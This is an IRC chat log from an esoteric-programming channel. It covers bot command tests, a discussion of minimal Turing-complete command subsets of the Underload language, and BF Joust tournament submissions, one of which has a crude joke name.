16:19:26 -!- cheater- has quit (Ping timeout: 240 seconds).
16:19:36 <Gregor> (I have no idea why I nested that)
16:19:38 <oerjan> ^echo hi
16:19:38 <fungot> hi hi
16:19:48 <oerjan> ^reverb hm
16:19:48 <fungot> hhmm
16:20:02 <Gregor> ^reverb This is dumb.
16:20:02 <fungot> TThhiiss iiss dduummbb..
16:20:15 <oerjan> ^rev2 hm
16:20:15 <fungot> mh
16:20:26 <oerjan> ^pow2 hm
16:20:26 <fungot> 1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072 262144 524288 1048576 2097152 4194304 8388608 16777216 33554432 67108864 134217728 268435456 536870912 1073741824 2147483648 42949672 ...
16:20:37 <oerjan> ^hw
16:20:38 <fungot> Hello World!
16:20:42 <oerjan> ^tmp
16:20:42 <fungot> abc
16:20:51 <quintopia> ^srmlebac
16:20:57 <quintopia> ^srmlebac hm
16:20:57 <fungot> hm
16:21:02 <quintopia> ?
16:21:08 <quintopia> ^srmlebac 55
16:21:08 <fungot> 55
16:21:09 <oerjan> ^def cat bf ,[.,]
16:21:09 <fungot> Defined.
16:21:11 <oerjan> ^cat hi
16:21:12 <fungot> hi
16:21:31 <oerjan> quintopia: you're not hitting very well with those test string XD
16:21:33 <oerjan> *s
16:21:44 <oerjan> ^cat str:0
16:21:45 <fungot> str:0
16:21:45 <quintopia> oerjan: what is it?
16:21:47 <oerjan> dammit
16:21:49 -!- cheater- has joined.
16:21:57 <oerjan> ^show str:0
16:22:07 <quintopia> ^show srmlebac
16:22:07 <fungot> >>,[>,]<[<]>[.>>]<[>>]<2[.<2]
16:22:12 <oerjan> quintopia: just try a more complicated string and you'll see
16:22:19 <quintopia> lemme just read the code
16:22:35 <quintopia> oh
16:22:42 <Deewiant> ^srmlebac qwfpgj
16:22:42 <fungot> qfgjpw
16:22:45 <quintopia> it prints all the even and then all the odd chars
16:22:47 <quintopia> got it
16:23:00 <quintopia> but forwards then backwards
16:23:01 <Deewiant> ^srmlebac srmlebac
16:23:01 <fungot> smeacblr
16:23:12 <oerjan> quintopia: hint: the command name
16:23:14 <Deewiant> ^srmlebac smeacblr
16:23:15 <fungot> seclrbam
16:23:16 <quintopia> yeah
16:23:19 <quintopia> i was trying to translate it
16:23:20 <Deewiant> ^srmlebac seclrbam
16:23:20 <fungot> scramble
16:23:37 <quintopia> ^srmlebac scramble
16:23:37 <fungot> srmlebac
16:23:44 <quintopia> i could have worked it out!
16:23:50 <quintopia> mr. spoilerface!
16:23:57 <quintopia> or
16:23:57 <oerjan> ^def tmp ul str:0
16:23:57 <fungot> Defined.
16:24:00 <quintopia> i could have done
16:24:01 <oerjan> ^show tmp
16:24:02 <fungot> foobar
16:24:12 <Deewiant> I didn't realize what it was myself until I ran those three
16:24:15 <quintopia> ^uenlsbcmra srmlebac
16:24:15 <fungot> scramble
16:24:42 <oerjan> ^tmp
16:24:42 <fungot> ...bad insn!
16:25:54 -!- copumpkin has joined.
16:28:16 -!- pikhq_ has joined.
16:28:26 -!- pikhq has quit (Ping timeout: 264 seconds).
16:28:29 <fizzie> ^str 0 get
16:28:29 <fungot> foobar
16:28:31 <fizzie> There is that.
16:28:37 <fizzie> You don't need to define a command.
16:29:59 <Deewiant> ^str 100 get
16:29:59 <fungot> Usage: ^str 0-9 get/set/add [text]
16:30:11 <fizzie> There's just ten lines devoted for strings, sorry. :p
16:30:27 <Deewiant> Befunge-98 has a bigger address space than that. :-P
16:30:35 <Deewiant> ^str 9 get
16:30:35 <fungot> (abc)S
16:30:39 <quintopia> are they stored in fungespace?
16:30:46 <fizzie> Yes. (Where else?)
16:30:55 <oerjan> ^tmtest
16:30:56 <fungot> : ~ ~: ...out of time!
16:31:12 <quintopia> ^reload
16:31:16 <oerjan> it turns out fungot thinks my new underload program is a bit slow
16:31:16 <fungot> oerjan: invalid input syntax for type timestamp with time zone: " 2004 05"?
16:31:24 <quintopia> lol
16:31:49 <oerjan> (i put it in through str:4, it's 3250 characters)
16:32:07 <oerjan> quintopia: the thing from earlier, it expanded almost 20 times
16:32:10 <fizzie> Deewiant: Yes, but since the strings don't have length limits, if I'd also made the list length unlimited, it'd potentially occupy a whole quadrant. (Also it doesn't actually parse a multi-digit number, I think it just subtracts '0.
16:32:12 <quintopia> LD
16:32:48 <oerjan> ais523: see my new underload creation at http://oerjan.nvg.org/esoteric/underload/tmcount.disclaimed.ul
16:33:07 <quintopia> it's still not so bad
16:33:24 <quintopia> did you stick it on the wiki?
16:33:26 <Deewiant> fizzie: If you're just worried about DoS attacks then you could still make it go up to 1000 or something
16:33:31 <oerjan> ^ul (( )S)(^!!)(((~:^~(~)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(!(~:^~(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(!(:)S(^!)~:^^)(!!(~)S(^)~:^^))):^^!^!!^
16:33:32 <fungot> : ~ ~: ~~ ~:: ~:~ ~~: ~~~ ~::: ~::~ ~:~: ~:~~ ~~:: ~~:~ ~~~: ~~~~ ~:::: ~:::~ ~::~: ~::~~ ~:~:: ~:~:~ ~:~~: ~:~~~ ~~::: ~~::~ ~~:~: ~~:~~ ~~~:: ~~~:~ ~~~~: ~~~~~ ~::::: ~::::~ ~:::~: ~:::~~ ~::~:: ~::~:~ ~::~~: ~::~~~ ~:~::: ~:~::~ ~:~:~: ~:~:~~ ~:~~:: ~:~~:~ ~:~~~: ~:~~~~ ~~:::: ~~:::~ ~~::~: ~~::~~ ~~:~:: ~~:~:~ ~~:~~: ~ ...too much output!
16:33:39 <oerjan> quintopia: not yet
16:33:57 <fizzie> Deewiant: "Meh."
16:34:03 <Deewiant> :-)
16:35:05 <oerjan> ais523: hint, it's not what it does, but how
16:35:06 <fizzie> Deewiant: For length-unlimited lists, I'm not so worried about DoS that I'm worried about space; all coordinates with x >= 0, y >= 2000 are already "taken" by the command list, for example.
16:36:03 <Deewiant> Take x >= 0, y <= -2000 for the strings.
16:36:36 <Deewiant> Or x >= 2^30, y >= 2000, unless you're expecting commands longer than a gigabyte. :-P
16:37:23 <oerjan> quintopia: also, my converter program worked on the first try :)
16:39:02 <quintopia> i love when that happens
16:39:49 <oerjan> (http://oerjan.nvg.org/esoteric/underload/ULDisclaim.hs)
16:40:24 <fizzie> Deewiant: If I take x >= 0, y <= -2000, I only have a narrow strip of free space; so where will I put the next unlimited-length list then? (I think I already used negative coordinates for something, can't quite remember what.)
16:40:53 <fizzie> x >= 2^30 might work, though large numbers are ugly to write.
16:41:00 <Deewiant> A narrow strip? You have room for 2^31 - 2000 strings
16:41:23 <fizzie> No, I mean, narrow strip of free space for things that are not strings or commands.
16:41:40 <ais523> oerjan: "disclaimed"?
16:42:04 <quintopia> http://news.yahoo.com/s/ap/20110208/ap_on_fe_st/us_odd_popular_mayor_unpopular_name
16:42:04 <ais523> hmm, is that a lambda-to-underload converter?
16:42:39 <oerjan> ais523: no. it's an underload-to-underload converter
16:42:45 <Deewiant> fizzie: Well, you could store all strings (which commands also are) in one list
16:43:24 <quintopia> that's not a bad idea
16:44:49 <oerjan> ais523: incidentally i believe this has as a corollary that FALSE is TC
16:45:08 <ais523> oh, is it self-interpreting?
16:45:10 <oerjan> because i can just as easily convert the commands to FALSE instead
16:45:14 <ais523> or, well, self-compiling
16:47:03 <oerjan> ais523: um no. i have (1) constructed a scheme to convert any TM into the Underload command subset ~:!()^ (2) Constructed a way to convert that into the subset ~:()^
16:47:07 <quintopia> oerjan: FALSE without % of course ;)
16:47:45 <oerjan> quintopia: well TECHNICALLY, although i think doing that conversion before converting to FALSE is a bit useless
16:48:16 <oerjan> well unless you want to show you only need $\[]! for FALSE, i guess
16:49:16 <oerjan> ais523: indeed FALSE $%\[]! corresponds 1-1 with underload :!~()^ doesn't it
16:50:10 <oerjan> ^ul (( )S)(^!!)(((~:^~(~)S(^!!)~(^)~:^^)(!~(:^!^)~^^^)(!!~(:^!!^)~^^!^))(!(~:^~(^!!)~:^^)(!~(:^!^)~^^!^)(!!~(:^!^)~^^^))(!!(~(:^!!^)~^^!!^)(!(:)S(^!)~:^^)(!!(~)S(^)~:^^))):^^!^!!^
16:50:11 <fungot> : ~ ~: ~~ ~:: ~:~ ~~: ~~~ ~::: ~::~ ~:~: ~:~~ ~~:: ~~:~ ~~~: ~~~~ ~:::: ~:::~ ~::~: ~::~~ ~:~:: ~:~:~ ~:~~: ~:~~~ ~~::: ~~::~ ~~:~: ~~:~~ ~~~:: ~~~:~ ~~~~: ~~~~~ ~::::: ~::::~ ~:::~: ~:::~~ ~::~:: ~::~:~ ~::~~: ~::~~~ ~:~::: ~:~::~ ~:~:~: ~:~:~~ ~:~~:: ~:~~:~ ~:~~~: ~:~~~~ ~~:::: ~~:::~ ~~::~: ~~::~~ ~~:~:: ~~:~:~ ~~:~~: ~ ...too much output!
16:50:35 <oerjan> ais523: ^ that is the program i tested _before_ conversion, also using !
16:51:10 <oerjan> i guess the S part doesn't convert directly to FALSE, but it's not necessary for computation.
16:52:06 <oerjan> ais523: oh and the FALSE correspondence i only noted yesterday when catching up to your comment on the wiki
16:53:47 <oerjan> ais523: this is just a simple 3 states, 3 letters TM for counting in binary of course (as I saw the ! elimination would make things huge enough already), but the construction is completely general
16:58:55 <oerjan> ais523: indeed my Underload scheme uses the "call stack" for the right part of the tape, exactly as you suggested in your recent FALSE edit
17:00:45 <oerjan> hm in fact i had seen that suggested before on Talk:False, and responded to it
17:02:42 <quintopia> COFFEEEEEEE
17:02:55 <ais523> I was just adding the comments on the talk to the article
17:03:07 <oerjan> ah.
17:03:30 <quintopia> did a TC proof for FALSE not already exist?
17:03:40 <ais523> using call stack as stack is something I've done before (in Splinter), but it wasn't my idea wrt FALSE
17:03:59 <oerjan> quintopia: there were some doubts about cell size restrictions
17:04:27 <ais523> quintopia: the existing ones were flawed
17:04:38 <ais523> based on using non-unbounded integers to pick from a stack
17:04:51 <ais523> which obviously proves PDAness, rather than TCness
17:05:22 <quintopia> ah
17:06:09 <quintopia> but we get TCness now by using the call stack as one stack and the stack as the other in a DPDA? or wat?
17:06:21 <oerjan> ais523: i got to this by pondering how many of Underload's commands were necessary for TC-ness, incidentally
17:06:42 <oerjan> :()^ are "obviously" unavoidable
17:07:36 <oerjan> quintopia: a DPDA doesn't have independent call/other stacks
17:08:01 <ais523> oerjan: I've pondered that before, I noticed that some were likely unnecessary
17:08:04 <oerjan> ~ and ! can be eliminated, individually
17:08:09 <quintopia> oerjan: i think i meant 2PDA
17:08:17 <ais523> ! is needed to destroy information, /but/ you never need to do that in order for a program to run
17:08:23 <oerjan> S can be ignored if you think about it right
17:08:34 <ais523> umm, not destroy information, destroy characters in existence
17:08:43 <ais523> so ! is needed to prevent the lang necessarily leaking memory
17:08:49 <ais523> or S to act as a substitue
17:08:54 <ais523> *substitute
17:08:54 <oerjan> ais523: indeed i found a simpler scheme for eliminating _just_ ! previously, by keeping junk on top of the stack, compacting with a and *
17:08:59 <ais523> but I tend to mentally filter out S
17:09:11 <oerjan> and ~
17:09:34 <oerjan> lots of dipping
17:09:48 <ais523> how do you dip without ~?
17:10:11 <oerjan> ais523: um i didn't dip without ~, this was for _just_ removing ! rewriting with the others
17:10:17 <ais523> ah
17:10:52 <oerjan> also ~ is the only command which can be replaced _exactly_ with a combination of the others, i think, without transforming the rest of the program
17:11:14 <ais523> some combination of a, *, and ^?
17:11:31 <oerjan> also !
17:11:33 <quintopia> Does this mean we need an Underload Minimization wiki page?
17:11:39 <oerjan> quintopia: heh
17:11:53 <ais523> hmm, now I'm trying to figure that out
17:14:02 <oerjan> incidentally this shows that only :()^ are strictly necessary, so unless that set _itself_ is TC (which i cannot yet see how it could be), there is more than one minimal set
17:14:21 <oerjan> the one also containing ~ which i just found, and at least one not containing ~
17:15:39 <oerjan> ais523: i don't recall on the spot what other commands i thought ~ could be implemented with, i may have used all of them.
17:16:35 <quintopia> oerjan: more than one minimal set yes, but what's the minimum set?
17:16:46 <quintopia> i suspect that ~:()^ is it
17:16:56 <oerjan> quintopia: unless :()^ works, it must be
17:17:04 <oerjan> well "a" minimum set
17:17:07 <quintopia> yes
17:18:27 <quintopia> i can't see how you could do it with just :()^
17:18:50 <quintopia> even a minsky machine needs two registers
17:20:05 <oerjan> at the same time i don't see an _obvious_ argument why it's impossible - you have (::^)::^ as a program which loops infinitely and consumes indefinite memory
17:20:12 -!- pingveno has quit (Ping timeout: 240 seconds).
17:20:16 <ais523> ~:()^ is enough? seriously?
17:20:28 <oerjan> ais523: I'VE BEEN TRYING TO TELL YOU SO :D
17:20:29 <ais523> I'd think at least * would be needed too
17:20:33 <oerjan> ais523: nope
17:20:42 <ais523> wow
17:20:52 <ais523> I was losing track of what you were trying to tell me
17:21:08 <oerjan> ais523: ok so i was trying to be a bit mysterious. bad habit, i know.
17:22:17 -!- pingveno has joined.
17:23:21 -!- asiekierka has quit (Read error: Operation timed out).
17:33:28 <Ilari> APNIC: On IPv4 front, allocated 10 215 936 IPv4 addresses this month. On IPv6 front, 3 145 741 /48s.
17:35:54 <quintopia> how does that compare to last month in terms of v6 allocations?
17:41:24 <Ilari> Whole last month: 2 818 065
17:42:38 <quintopia> so not many more
17:42:40 <quintopia> slow growth
17:43:12 <Ilari> Well, 17 days vs. 31.
17:43:40 <Ilari> All current IPv6 allocations from RIRs: 9 613 930 325
17:46:13 <quintopia> still, it's only twice as many
17:46:30 <quintopia> it's not like everyone in the world decided to jump on the v6 bandwagon overnight
17:53:14 -!- zzo38 has joined.
17:56:11 <tswett> :()^, eh?
17:57:23 <tswett> Duplicate, pop-and-run, and push quote.
17:58:13 * tswett ponders.
17:58:29 <tswett> There's no way to make new quotes with :()^, so you have a finite alphabet.
17:58:54 <tswett> You have two places of storage: the stack and the program stream.
17:59:37 <quintopia> without ~ and * you can't use the whole stack afaict
17:59:54 <tswett> Whatever the longest quote anywhere in storage is, you can't push it; the only way to get more of it is by using the : command.
17:59:59 <quintopia> you have to already have what you want to use in the right order there
18:00:14 <tswett> The longest quote *can* give you a nice inventory of other stuff, though.
18:00:38 <tswett> The program stream is really a second stack. So...
18:01:10 <tswett> : duplicates the top element of the primary stack. ^ moves the top element of the primary stack to the secondary stack. (x) pushes x onto the primary stack.
18:01:29 <tswett> And the main loop consists of repeatedly running whatever is on top of the secondary stack.
18:03:15 <tswett> Let's consider the longest quote again. It's impossible to ever put anything under it, since that would require removing it from the stack and putting it back. But you can't put it back on the stack; once it's gone from the stack, it's gone forever.
18:03:38 <tswett> So it seems like the longest quote, whatever it is, can only serve as a buffer, indicating the end of the stack and containing instructions for what to do when the stack ends.
18:04:31 <tswett> Suppose the buffer is used only finitely many times. That means you're abandoning the longest quote, and doing without it, so there must be some second longest quote which you are using, and you must be using *it* as a buffer. So the buffer must be something that's used infinitely many times.
18:05:20 <tswett> So it's like a Turing machine where, for whatever reason, you must periodically go all the way to one end of the tape. (Let's say it's the left end.)
18:05:38 <zzo38> Ken made a serious mistake by failing to wager enough. I thought he was better than that!
18:06:58 <tswett> Now, suppose you're in the middle. You have stuff on your left (the stack), and stuff on your right (the program stream). How do you go left, and how do you go right?
18:08:50 <tswett> When you're going left, there are all these things that you're moving from the stack to the stream. Ideally, you would grab a string from the stack and put the string *literal* into the stream. Unfortunately, a string of code can't produce its own literal, ever.
18:09:47 <zzo38> Are you going to compose "Eine kleine Quinemusik"?
18:10:51 <tswett> So when you move left past a string, it has to produce some sentinel in the program stream. The longest string in the sentinel must be shorter than the longest string in the string itself.
18:10:58 <tswett> zzo38: oh, something like that.
18:12:52 -!- asiekierka has joined.
18:12:56 <tswett> What if you're moving right: taking stuff from the program stream and putting it onto the stack? Then, uh...
18:13:46 <tswett> Well, you're executing commands that, I suppose, put representations of themselves onto the stack.
18:14:52 -!- ais523 has quit (Remote host closed the connection).
18:15:39 <tswett> They can do this by pushing literals, or by duplicating. Now, if you take a piece of code and execute it, then once again, the longest string in it cannot end up inside a literal on the stack, *unless* you do this by duplicating what's already on the stack.
18:17:00 <zzo38> What are you trying to figure out now?
18:17:08 <tswett> So when you're moving right, the program stream probably looks something like this: (hey) (look) : (im) : : : (a) (literal) :
18:17:20 <tswett> zzo38: how to code in Underload using only the characters :()^
18:18:06 <zzo38> tswett: Is such things possible?
18:18:13 <tswett> I'm trying to figure that out.
18:18:42 <tswett> On the stack, that will translate to "hey look look im im im im a literal literal".
18:19:16 <tswett> Then you're going to go backwards: you're going to pop the top of the stack and run it, and that top symbol is going to call the symbol under it, and that symbol the symbol beneath it, and so on.
18:20:08 <zzo38> I doubt you can write a useful program with that
18:20:35 <tswett> Well, you have a sequence of symbols, going back and forth within them and changing stuff. Maybe you can write a useful program with that.
18:21:14 <oerjan> <tswett> The longest quote *can* give you a nice inventory of other stuff, though. <-- obviously that's what i do for :()^~
18:21:32 <tswett> ~ would be really useful here, I think.
18:21:57 <tswett> It allows you to push something on the stack, and still have whatever was on top of the stack before you did that.
18:24:02 <tswett> So now the questions are: what can a string on the stack put into the program stream? What can a thing in the program stream put onto the stack?
18:24:47 <tswett> Let's suppose that every string on the stack (except the buffer) starts with ^; that way, once one of them is called, all of them will be called, back to the buffer.
18:25:49 <oerjan> <tswett> [...] The longest string in the sentinel must be shorter than the longest string in the string itself. <-- this gives me a transfinite ordingal vibe, maybe there's a transfinite induction argument why it has to end in something useless...
18:26:12 <oerjan> or well-foundedness argument
18:26:40 <tswett> Then the buffer can initialize the stack with useful stuff, before the entire program stream is executed, pushing stuff back onto the stack:
18:26:46 <tswett> oerjan: use Gates' Lemma: all strings are finite.
18:28:12 <tswett> So, let's say you have a sequence of symbols: (^a) (^a) (^b) (^b) (^c) (^c) . . .
18:29:02 <tswett> When you run ^ with this on the stack, you end up with "aabbcc" in the stream.
18:29:37 <zzo38> Then add some command for manipulating things that are already in the stream
18:30:35 <zzo38> And then maybe you can have only :()^ and that one more command. I don't know.
18:31:15 <oerjan> zzo38: um yes i already proved you only need to add ~
18:31:28 <oerjan> that was how this discussion started
18:31:33 -!- asiekierka has quit (Ping timeout: 240 seconds).
18:31:33 <zzo38> oerjan: OK.
18:32:30 <oerjan> *ordinal vibe
18:32:36 <zzo38> Next thing is make a variation of Underload with one command added, which is call/cc command.
18:32:42 <oerjan> heh
18:33:02 <tswett> And then "aabbcc", in the stream, can push symbols back onto the stack. Perhaps (^a) is already on the stack, and running a just duplicates it or something. And then once you've run (^a) for the last time, it pushes (^b) onto the stack (rather, it does that every time, but also erases it before adding it), and then (^b) can just duplicate itself the same way...
18:33:09 <oerjan> zzo38: hm i did wonder the other day what a command that swapped the top stack element with the remainder of the program would do
18:33:40 <oerjan> also one that swapped the top stack element with everything under
18:34:07 <oerjan> (i.e. a(b) -- b(a))
18:34:24 <oerjan> hm that actually needs b to be only quotes, or possibly run
18:35:17 <tswett> So then a can just be big enough to hold b, and b big enough to hold c, and so on, and you've got yourself a Minsky register machine.
18:35:42 <oerjan> tswett: one minor detail i noted is that two consecutive stack elements starting with : form a buffer
18:35:46 <tswett> A really awful one.
18:36:02 <tswett> oerjan: right.
18:37:54 <tswett> So to consider a simple state of a program while running...
18:37:56 <oerjan> tswett: also the trick of starting strings with ^ i also used for the left part of the stack in the :()^~! construction
18:38:14 <oerjan> as well as some parts of the ! elimination
18:38:23 <tswett> Stack: (:buf) (:buf) (^a) (^a) (^b) (^b) (^c) (^c). Program stream: ^.
18:39:09 <tswett> oerjan: what's the right part of the stack?
18:39:11 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/OCZG
18:39:23 <Gregor> Will lose hard against speedy opponents.
18:39:37 <oerjan> tswett: the remaining program, looks like ^!^!!!^!!^...
18:39:46 <oerjan> number of ! is the letter designation
18:39:53 <oerjan> oh you can have zero too
18:40:47 <zzo38> I want to make Underload with continuations? Can this be done by changing the ^ command so that now it does: Move top of stack to temporary buffer. Make a string with the rest of the stack with () around each entry, and push that one to stack. Make a string with the rest of program stream and push that to stack too. Now do move temporary buffer to program stream to execute.
18:41:27 <zzo38> To make normal ^ you would instead write (!!)~*^
18:41:42 <oerjan> zzo38: hm that would be combining my two suggestions above in one command
18:42:08 <oerjan> um (!!)?
18:42:15 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 47.3
18:42:30 <tswett> So it would turn the state of everything into a single string, and the top of the stack into the state of everything?
18:42:33 <Gregor> Bleh
18:42:49 <oerjan> zzo38: shouldn't your command _replace_ the original stack and continuation rather than add to them
18:43:13 <zzo38> oerjan: Because it make the two extra entry at top of stack, so to do the old ^ you remove those two and then it will execute the same way as the old one.
18:43:19 <oerjan> at least for continuations, that's sort of an intrinsic part of the idea
18:44:00 <oerjan> zzo38: no i mean, your command doesn't give true continuations unless you also _remove_ the original remaining continuation
18:44:28 <oerjan> and then (!!) isn't the right thing to get old ^
18:45:36 <oerjan> oh wait hm
18:46:35 <tswett> Anyway, I kind of have a Minsky register machine where each register is only aware of its two neighboring registers.
18:47:05 <tswett> And... my head hurts.
18:48:07 <quintopia> mine did earlier, but caffeine fixed it
18:51:51 <tswett> Meh. I'm going to make a BF joust genetic thingy.
18:54:52 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/dGXQ
18:54:59 <Gregor> I honestly have no idea if this will be better or worse.
18:56:47 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 54.8
18:56:54 <Gregor> Hmm hmm hmm!
18:57:29 <quintopia> impressive sir
18:57:35 <quintopia> what is this strategy?
18:59:16 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/FBAN
18:59:21 <Gregor> I'll explain it in a minute, it might be new.
18:59:30 <Gregor> It might also be clear if you watch it...
18:59:33 <Gregor> (Not sure though)
18:59:44 <quintopia> I HOPE YOU DIDN'T STEAL MY IDEA
18:59:54 <Gregor> I totes stole your idea lawl
19:00:04 <quintopia> :[
19:00:36 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 58.5
19:01:08 <Deewiant> STILL NOT NUMBER ONE HUH
19:01:43 <Gregor> Deewiant: Imma kiww u wit a rake.
19:02:00 <Deewiant> Here: ---E
19:02:10 <Gregor> Now how did I lose to space_elevator ...
19:02:49 <quintopia> it's a wily program you know :P
19:03:05 <quintopia> i may make it wilier this weekend
19:04:53 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/HKLH
19:04:59 <Gregor> SHOULD be better, but maybe not.
19:06:21 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 58.6
19:06:26 <Gregor> SO MUCH BETTER :P
19:06:37 <quintopia> EXPLOX STRATEGY
19:06:54 <oerjan> <Gregor> Now how did I lose to space_elevator ... <- IT'S THE GRAPHENE
19:06:56 <Gregor> !bfjoust mess_with_Deewiant <3
19:06:58 <Gregor> *cough* :P
19:07:02 <Deewiant> :-D
19:07:23 <EgoBot> Score for Gregor_mess_with_Deewiant: 0.0
19:07:36 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/HKLH
19:08:07 <Gregor> Oooooowait, one more trick up my sleeve :)
19:08:50 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 59.5
19:09:23 <Gregor> Actually this one more trick might make things worse X-P
19:09:28 <Gregor> But I think it's worth a shot.
19:09:58 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/FBLM
19:10:45 <Gregor> Yeah, I think it should be better against the strategies I was already pretty good against, in retrospect.
19:11:16 <Gregor> (And worse against others)
19:11:46 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 59.4
19:11:55 <Gregor> Not as much worse as I expected :P
19:12:00 <quintopia> gregor
19:12:06 <quintopia> you stole my inner loop :P
19:12:12 <Gregor> Did I?
19:12:30 <Gregor> My inner loop is just philip with a regular clear instead of a turtle clear.
19:12:45 <quintopia> the [.-].[.++-------[...-]] thing is all me :P
19:13:18 <Gregor> Ohyeah
19:13:20 <Gregor> That I stole outright.
19:13:21 <Gregor> THANKS
19:13:59 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/UWLg
19:14:20 <Gregor> (Suffice it to say I'm not good at shudder avoidance myself, so I need all the help I can get X-P
19:14:21 <Gregor> )
19:15:18 <quintopia> that's anti-canonical shudder plus anti-definder
19:15:22 <Gregor> Oh fekk that was ALL wrong ...
19:16:33 <Gregor> As much as I just effed that up, I'm surprised I win against anything ...
19:17:01 <quintopia> i have no idea what this thing is doing by watching it gregor. it's doing some kind of magic with dealing with big offsets tho
19:17:38 <Gregor> wtf, why isn't this borked run done yet.
19:17:45 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 54.1
19:18:07 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/CMPY
19:18:08 <Gregor> Not quite as borked as I thought X-D
19:18:10 <quintopia> oh
19:18:34 <Gregor> quintopia: I will explain it, but first I'll obsess about first place for a tick :P
19:18:35 <quintopia> it's also using the keep-poking-even-on-very-small-decoys idea i was planning on adding to space_elevator
19:18:56 <Gregor> quintopia: Too bad I added it foist :P
19:19:32 -!- nescience has joined.
19:19:36 <quintopia> eh, it doesn't mean i can't still kick your ass using it :D
19:19:53 <nescience> man I've been missing some fun
19:20:05 <nescience> didn't get a chance to implement "poke" first :P
19:20:19 <Gregor> Or double-poke like I just got a chance to implement first ^^
19:20:30 <quintopia> yeah i was thinking of doing that too
19:20:43 <quintopia> poke to nonzero, build decoy, poke to non-small
19:20:44 <Gregor> Well I'm not psychic, so it still counts as mine X-P
19:20:45 <nescience> what does the base64 read for gregor's thing? the code that generates it?
19:20:46 <quintopia> build more decoy
19:20:51 <Gregor> nescience: Yes.
19:20:55 <quintopia> but i'ma do it better!
19:21:19 <nescience> well I still have some wikispace so I feel good :)
19:21:44 <quintopia> Gregor: the reason i didn't do it first is because it requires writing a generator to generate miles long code :P
19:21:45 <Gregor> Can't lose the wikispace.
19:21:58 <Gregor> quintopia: Steal some of my generator code, it's actually pretty clean.
19:21:59 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 61.4
19:22:07 <Gregor> YESSSSSSSSSSSSS
19:22:07 <Gregor> #1
19:22:08 <Gregor> #1
19:22:10 <Gregor> YESSSSSSSSSSSSSSSSSSSSSSSSS
19:22:11 <Gregor> HALLO THAR
19:22:14 <nescience> oh haha nice @ the animation thing
19:22:17 <nescience> that is awesome
19:22:27 <nescience> lol
19:22:28 * quintopia put a feather in gregor's cap
19:22:28 <Gregor> nescience: Why thankee
19:22:33 * quintopia hides another one in his pants
19:23:24 <Gregor> Ahhhhhhhhhhhhhhhhhhhhh OK so my fundamental new (maybe?) strategy is breadcrumbs.
19:23:56 <Gregor> While I'm setting up reverse decoys, I set up some very small pseudodecoys in between. Then when I get to the beginning, I set up big decoys everywhere where the breadcrumbs are unchanged.
19:24:03 <Gregor> As soon as I find a changed breadcrumb, I switch to attack mode.
19:24:07 <quintopia> i think you haven't stolen all my new ideas yet, so ... just you wait ;)
19:24:43 <Gregor> That way I don't waste too much time in reverse for good pokers, and I don't waste any time forwards since I will stop once I see one that's already been changed.
19:25:01 <Gregor> The attack itself is only improved by MY poke-harder algorithm.
19:25:02 <quintopia> not a bad idea that
19:25:10 -!- elliott has joined.
19:25:17 <elliott> -NickServ- Last failed attempt from: elliott!~nife@unaffiliated/nife on Feb 17 18:16:16 2011.
19:25:19 <elliott> I think not.
19:25:23 <Gregor> elliott: I'm #1.
19:25:34 <elliott> Goodie.
19:25:37 <elliott> With what porngram?
19:25:47 <Gregor> furry_furry_strapon_pegging_girls
19:25:50 <quintopia> Gregor: but i'm pretty sure the idea you haven't stolen will still kick its ass
19:25:55 <quintopia> IT WILL HAVE TO WAIT TIL THE WEEKEND
19:26:14 <elliott> Gregor: X-D
19:26:23 <elliott> shouldn't't be strap_on
19:26:39 <Gregor> I considered that.
19:26:43 <Gregor> I decided to make it one word.
19:27:03 -!- GreaseMonkey has joined.
19:27:26 <elliott> 20:54:24 <oerjan> not really, just take a look at what it _isn't_...
19:27:27 <elliott> 20:55:44 <oerjan> or rather, what isn't there
19:27:27 <elliott> 20:57:13 <quintopia> no quoting
19:27:27 <elliott> 20:58:21 <quintopia> which means that you never had to build a new program...it only ever reuses the stuff you pushed originally
19:27:28 <elliott> oerjan: wow
19:27:41 <elliott> 20:58:32 <oerjan> yep!
19:27:42 <elliott> 20:58:44 <oerjan> no a or * commands
19:27:51 <elliott> Underload minus a and * is TC. wow.
19:27:58 <elliott> 21:00:53 <oerjan> but given that, i can also eliminate !
19:27:59 <elliott> :-D
19:28:21 <elliott> so ~:()^ is TC
19:28:26 <quintopia> Gregor: i think your breadcrumb checking is broken.
19:28:33 <Gregor> quintopia: Oh?
19:28:50 <quintopia> it never brings the breadcrumbs back to zero, so how can it check them?
19:29:18 <Gregor> quintopia: It does bring them back to zero, for one cycle
19:29:26 <quintopia> the animation doesn't show that
19:29:38 <Gregor> quintopia: Just for laffs it makes the real decoy in the opposite direction.
19:29:40 -!- sebbu2 has joined.
19:29:41 -!- sebbu2 has quit (Changing host).
19:29:41 -!- sebbu2 has joined.
19:30:06 <Gregor> quintopia: So the animation may look like all I did was subtract right through zero.
19:30:14 <quintopia> Gregor: i am watching it test a breadcrumb and go racing off to attack even though the enemy never touched it
19:30:27 <Gregor> quintopia: Which opponent?
19:30:33 <quintopia> allegro
19:30:36 <elliott> http://esolangs.org/wiki/Preposterous_Programming
19:30:36 <elliott> http://esolangs.org/wiki/Preposterous_Programming_Language
19:30:44 <elliott> I propose we name these pages "worthless and worthlesser".
19:31:18 <Gregor> quintopia: allegro changes my breadcrumbs before I even set them.
19:31:23 <quintopia> oh
